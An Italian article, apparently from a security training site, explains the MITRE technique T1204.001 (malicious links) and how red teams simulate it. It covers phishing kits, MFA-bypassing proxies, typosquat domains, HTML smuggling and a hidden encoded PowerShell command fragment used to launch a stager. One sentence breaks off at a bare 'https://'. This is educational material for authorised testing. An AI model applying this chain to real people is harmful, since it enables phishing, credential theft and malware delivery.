Link Malevolo: Malicious Link (T1204.001)
La tecnica T1204.001 — Malicious Link appartiene alla tattica TA0002 (Execution) e descrive il caso in cui un avversario induce l'utente a cliccare un collegamento ipertestuale per innescare l'esecuzione di codice. Si tratta della naturale prosecuzione operativa di Spearphishing Link (T1566.002) e si colloca nella fase Delivery/Exploitation della kill chain: senza il click, l'intera catena si ferma.
Il link può condurre a scenari eterogenei: exploit del browser via Exploitation for Client Execution (T1203), download di file che richiedono a loro volta interazione tramite Malicious File (T1204.002), oppure landing page che veicolano archivi ZIP/RAR contenenti LNK, MSI, HTA o script.
I numeri raccontano la centralità di questo vettore: 47 gruppi APT tracciati, 28 famiglie malware, 8 campagne documentate e appena 3 mitigazioni ufficiali — segno che la difesa dipende in larga parte dal fattore umano. Attori come APT28, APT29, Turla, Sandworm Team, FIN7 e Wizard Spider vi ricorrono sistematicamente, e famiglie come Emotet, QakBot, Bumblebee, Latrodectus, SocGholish e Gootloader hanno fatto del click iniziale il proprio biglietto d'ingresso. Il risultato è un vettore a basso costo, altamente scalabile e resiliente rispetto a controlli tecnici tradizionali, che continua a rappresentare la porta d'accesso preferita per ransomware e operazioni di cyber espionage.
In un ingaggio red team, la simulazione di T1204.001 richiede di ricostruire l'intera catena click → egress → payload rispettando lo scope autorizzato. Il framework più diffuso per orchestrare l'invio di email con link tracciabili è Gophish (open source), che consente di creare landing page cloni, misurare click-through rate e correlare l'apertura del link con l'IP e lo user agent della vittima. Per campagne più elaborate, Evilginx2 (open source) implementa reverse proxy in grado di intercettare credenziali e cookie di sessione anche in presenza di MFA basata su OTP, mentre King Phisher (open source, non più mantenuto attivamente) resta una scelta storica in ambienti controllati.
La costruzione del pretexto è la parte più delicata. Un pattern ricorrente osservato in operazioni reali è la registrazione di domini typosquat con dnstwist (open source) per generare permutazioni credibili, seguita dall'emissione di certificati TLS gratuiti via Let's Encrypt per conferire l'icona del lucchetto. Per validare la reputazione del dominio prima dell'invio si può interrogare VirusTotal (freemium) e urlscan.io (freemium).
Sul fronte payload, il link tipicamente conduce a un file intermedio: un LNK contenuto in ZIP, un MSI ospitato su servizi cloud legittimi (Dropbox, Google Drive, OneDrive) — pattern osservato in LuminousMoth e Bumblebee — oppure una pagina HTML con JavaScript che sfrutta HTML smuggling per ricostruire il binario lato client evadendo i proxy perimetrali. Per generare LNK con payload embedded, LNKUp (open source) è un riferimento comune in laboratorio.
Una catena realistica su Windows si articola così: il link punta a https://
cmd.exe /c powershell -nop -w hidden -enc
Lo script decodificato scarica lo stager (Cobalt Strike, Havoc o Sliver — tutti disponibili open source tranne Cobalt Strike che è a pagamento) e lo esegue in memoria. Su macOS, il pattern equivalente sfrutta DMG firmati con certificati Developer ID rubati, mentre su Linux si osservano meno frequentemente payload nativi: prevalgono link che portano a documenti weaponizzati per ambienti misti.
Per misurare l'efficacia dell'esercizio, correlare i log di Gophish con la telemetria EDR consente di calcolare quanti click hanno effettivamente prodotto esecuzione, distinguendo utenti che hanno cliccato ma non aperto il payload finale.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo
2 minuti · 7 domande
Che professionista cyber sei?
Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.